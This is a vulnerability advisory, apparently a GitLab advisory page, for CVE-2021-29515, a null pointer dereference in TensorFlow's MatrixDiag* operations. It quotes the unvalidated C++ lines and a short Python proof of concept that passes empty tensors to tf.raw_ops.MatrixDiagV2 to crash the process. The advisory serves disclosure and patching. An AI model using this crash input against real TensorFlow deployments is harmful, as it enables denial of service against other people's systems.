CVE-2021-29515: Reference binding to null pointer in `MatrixDiag*` ops
(updated )
The implementation of MatrixDiag* operations does not validate that the tensor arguments are non-empty:
num_rows = context->input(2).flat<int32>()(0);
num_cols = context->input(3).flat<int32>()(0);
padding_value = context->input(4).flat<T>()(0);
Thus, users can trigger null pointer dereferences if any of the above tensors are null:
import tensorflow as tf
d = tf.convert_to_tensor([],dtype=tf.float32)
p = tf.convert_to_tensor([],dtype=tf.float32)
tf.raw_ops.MatrixDiagV2(diagonal=d, k=0, num_rows=0, num_cols=0, padding_value=p)
Changing from tf.raw_ops.MatrixDiagV2 to tf.raw_ops.MatrixDiagV3 still reproduces the issue.
References
- github.com/advisories/GHSA-hc6c-75p4-hmq4
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-443.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-641.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-152.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hc6c-75p4-hmq4
- nvd.nist.gov/vuln/detail/CVE-2021-29515
Code Behaviors & Features
Detect and mitigate CVE-2021-29515 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →